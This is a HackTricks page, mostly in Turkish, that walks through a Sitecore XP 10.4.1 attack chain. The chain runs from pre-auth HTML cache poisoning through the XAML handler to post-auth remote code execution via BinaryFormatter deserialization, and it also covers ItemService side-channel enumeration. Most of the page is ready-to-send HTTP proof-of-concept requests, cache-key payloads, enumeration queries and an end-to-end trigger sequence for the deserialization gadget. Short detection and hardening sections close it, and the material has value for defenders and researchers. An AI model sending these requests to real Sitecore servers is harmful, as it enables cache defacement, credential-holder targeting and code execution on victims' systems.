Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfa, Sitecore XP 10.4.1'e karşı pre‑auth XAML handler'dan HTML cache poisoning'e ve authenticated UI flow aracılığıyla BinaryFormatter deserialization ile RCE'ye dönen pratik bir saldırı zincirini özetler. Teknikler benzer Sitecore sürümlerine/bileşenlerine genelleştirilebilir ve test etmek, tespit etmek ve güçlendirmek için somut primitifler sağlar.
- Test edilen etkilenen ürün: Sitecore XP 10.4.1 rev. 011628
- Düzeltildi: KB1003667, KB1003734 (Haziran/Temmuz 2025)
Ayrıca bakınız:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Giriş noktası, web.config'e kayıtlı pre‑auth XAML handler'dır:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Erişim yolu:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Kontrol ağacı, AjaxScriptManager içerir; bu da olay isteklerinde attacker‑controlled fields'i okur ve hedeflenen kontrollerde reflection kullanarak metotları çağırır:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Önemli gözlem: XAML sayfası bir XmlControl örneği içeriyor (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl'ten (bir Sitecore sınıfı) türemektedir; bu, ReflectionUtil.Filter allow‑list'ini (Sitecore.*) geçirmekte ve Sitecore WebControl üzerindeki metodların kilidini açmaktadır.
Zehirleme için sihirli metod:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Çünkü xmlcontrol:GlobalHeader hedeflenebiliyor ve Sitecore.Web.UI.WebControl metotları isimleriyle çağrılabiliyor, bu da pre‑auth arbitrary HtmlCache write primitive sağlıyor.
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Notlar:
- __SOURCE, Sitecore.Shell.Xaml.WebControl içindeki xmlcontrol:GlobalHeader'ın clientID'sidir (statik XAML'den türetildiği için genellikle ctl00_ctl00_ctl05_ctl03 gibi sabittir).
- __PARAMETERS formatı Method("arg1","arg2") şeklindedir.
Neyi zehirlemeli: Cache anahtar oluşturma
Sitecore kontrolleri tarafından kullanılan tipik HtmlCache anahtar yapısı:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Bilinen bir sublayout için örnek targeted poisoning:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Önbelleğe alınabilir öğeleri ve “vary by” boyutlarını keşfetme
ItemService anonim olarak (mis)exposed olduysa, önbelleğe alınabilir bileşenleri listeleyerek tam anahtarları elde edebilirsiniz.
Quick probe:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Önbelleğe alınabilir öğeleri ve bayrakları listele:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate gibi alanlara bakın. Cihaz adları şu şekilde listelenebilir:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration kısıtlı kimlikler altında (CVE-2025-53694)
ItemService sınırlı bir hesabı (ör. ServicesAPI) taklit ettiğinde ve boş bir Results dizisi döndürdüğünde bile TotalCount yine de pre‑ACL Solr hits'lerini yansıtabilir. Wildcards ile item gruplarını/ids'i brute‑force yaparak TotalCount'ın daralmasını izleyebilir ve dahili içerik ile cihazları haritalayabilirsiniz:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
convertToRuntimeHtml pipeline step ConvertWebControls aracılığıyla erişilebilir; bu, id'si {iframeId}_inner olan bir elementi arar ve base64 decodes + deserializes eder; ardından ortaya çıkan string'i HTML'e injects eder:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Tetikleme (kimlik doğrulandı, Content Editor yetkileri). FixHtml dialogu convertToRuntimeHtml'i çağırır. UI tıklamaları olmadan baştan sona:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Tam zincir
- Pre‑auth saldırgan, XAML AjaxScriptManager üzerinden reflection kullanarak WebControl.AddToCache'ı çağırıp HtmlCache'i keyfi HTML ile zehirler.
- Zehirlenmiş HTML, oturum açmış Content Editor kullanıcısını FixHtml akışına yönlendiren JavaScript sunar.
- FixHtml sayfası convertToRuntimeHtml → ConvertWebControls akışını tetikler; bu akış BinaryFormatter ile saldırgan kontrollü base64'i deserializes ederek Sitecore app pool identity altında RCE'ye yol açar.
Tespit
- Pre‑auth XAML:
/-/xaml/Sitecore.Shell.Xaml.WebControl
için__ISEVENT=1
, şüpheli__SOURCE
ve__PARAMETERS=AddToCache(...)
içeren istekler. - ItemService probing:
/sitecore/api/ssc
wildcard sorgularında ani artışlar, boşResults
ile yüksekTotalCount
. - Deserialization attempts:
EditHtml.aspx
ardındanFixHtml.aspx?hdl=...
ve HTML alanlarında olağanüstü büyük base64 değerleri.
Güçlendirme
- Sitecore yamalarını KB1003667 ve KB1003734 uygulayın; pre‑auth XAML handler'larını engelleyin/devre dışı bırakın veya katı doğrulama ekleyin;
/-/xaml/
'i izleyin ve rate‑limit uygulayın. - BinaryFormatter'ı kaldırın/değiştirin; convertToRuntimeHtml erişimini kısıtlayın veya HTML düzenleme akışlarında güçlü sunucu tarafı doğrulaması uygulayın.
/sitecore/api/ssc
'yi loopback veya kimlik doğrulanmış rollere kapatın; avoid impersonation patterns that leakTotalCount
‑based side channels.- Content Editor kullanıcıları için MFA/least privilege uygulayın; cache poisoning'den kaynaklanan JS yönlendirme etkisini azaltmak için CSP'yi gözden geçirin.
Referanslar
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.